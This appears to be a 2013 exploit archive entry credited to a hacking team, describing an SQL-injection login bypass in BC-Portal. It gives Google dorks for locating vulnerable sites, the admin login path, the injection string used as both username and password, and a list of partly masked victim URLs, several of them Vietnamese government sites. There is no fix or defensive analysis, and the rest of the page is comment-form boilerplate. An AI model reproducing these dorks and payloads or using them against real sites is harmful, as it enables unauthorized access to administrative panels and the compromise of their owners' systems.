BC-Portal Login page Bypass Vulnerability

2013.11.06

Credit: Ashiyane Digital Security Team

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

Dork: inurl:vn/rss/index.php OR inurl:rss/index.php?tabid=

#********************************************************************************
# Exploit Title : BC-Portal Login page Bypass Vulnerability
#
# Exploit Author : Ashiyane Digital Security Team
#
# Vendor Homepage : http://www.bitco.com.vn
#
# Tested on: Windows 7 , Linux
#
# Google Dork : inurl:vn/rss/index.php
#
# Google Dork 2 : inurl:rss/index.php?tabid=
#
# Date: 2013/11/7
#
--------------------------------------------------------------------
# Exploit : Login page bypass
#
# Location : [Target]/admin/login.php
#
# Username : '=' 'or'
#
# Password : '=' 'or'
######################
# Proof:
#
# http://khcXXacninh.gov.vn/admin/login.php
#
# http://hongXanh.com.vn/admin/login.php
#
# http://thongXnkhcn.vn/admin/login.php
#
# http://khcnXXcninh.gov.vn/admin/login.php
#
# http://wwXitco.com.vn/admin/lohin.php
#
# http://htXedu.vn/admin/login.php
#
# http://www.nhXdaovinhphuc.org.vn/admin/login.php
#
# http://www.haXXhongdost.gov.vn/admin/login.php
#
# http://thongtiXXhcn.vn/admin/login.php
#
# http://skhcn.bXninh.gov.vn/admin/login.php
#
# http://danaXXng.edu.vn/danang/admin/login.php
#
# http://www.khcnhXXgyen.gov.vn/admin/login.php
#
# http://kh-cnquangXXinh.gov.vn/admin/login.php
######################
Milad Hacking
We Love Mohammad
&#1576;&#1575;&#1586; &#1575;&#1740;&#1606; &#1670;&#1607; &#1588;&#1608;&#1585;&#1588; &#1575;&#1587;&#1578; &#1705;&#1607; &#1583;&#1585; &#1582;&#1604;&#1602; &#1593;&#1575;&#1604;&#1605; &#1575;&#1587;&#1578;
&#1576;&#1575;&#1586; &#1575;&#1740;&#1606; &#1670;&#1607; &#1606;&#1608;&#1581;&#1607; &#1608; &#1670;&#1607; &#1593;&#1586;&#1575; &#1608; &#1670;&#1607; &#1605;&#1575;&#1578;&#1605;&#1575;&#1587;&#1578;
Ya Hossein
######################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

BC-Portal Login page Bypass Vulnerability

Dork: inurl:vn/rss/index.php OR inurl:rss/index.php?tabid=

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.